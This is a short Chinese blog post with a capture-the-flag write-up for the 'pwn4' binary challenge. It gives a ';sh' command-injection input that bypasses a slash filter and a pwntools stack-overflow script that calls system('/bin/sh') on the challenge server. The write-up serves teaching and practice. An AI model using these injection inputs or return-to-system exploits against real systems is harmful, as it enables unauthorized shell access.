pwn4

作者: n0va | 来源:发表于2019-03-08 23:35 被阅读0次

checksec :

image.png

IDA:

image.png

这题有两种做法
一:
因为strchr将"/"过滤了,而run_cmd函数会执行system(ls"s"),而system(ls;sh)相当于system("/bin/sh"),所以我们只需要输入;sh即可
二:
文件中有system函数也有"/bin/sh"字符,可以直接利用栈溢出执行system("/bin/sh")
exp:

from pwn import *
p = process('./pwn4')
# p = remote("pwn.tamuctf.com","4324")
system = 0x80483F0
binsh = 0x804A034
payload = 'a'*0x25 + p32(system) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()

相关文章

  • pwn4

    checksec : IDA: 这题有两种做法一:因为strchr将"/"过滤了,而run_cmd函数会执行sys...

  • pwn write_up 合集

    一、bugkuctf pwn4(栈,ROP,system($0)) 图1很容易看出来read函数栈溢出 紧接着就是...

  • pwn5

    跟pwn4很像,但是不一样的是这里的system函数不是系统调用,所以我这里用方法一,直接输入";sh"get s...

网友评论

      本文标题:pwn4

      本文链接:https://www.haomeiwen.com/subject/kqljpqtx.html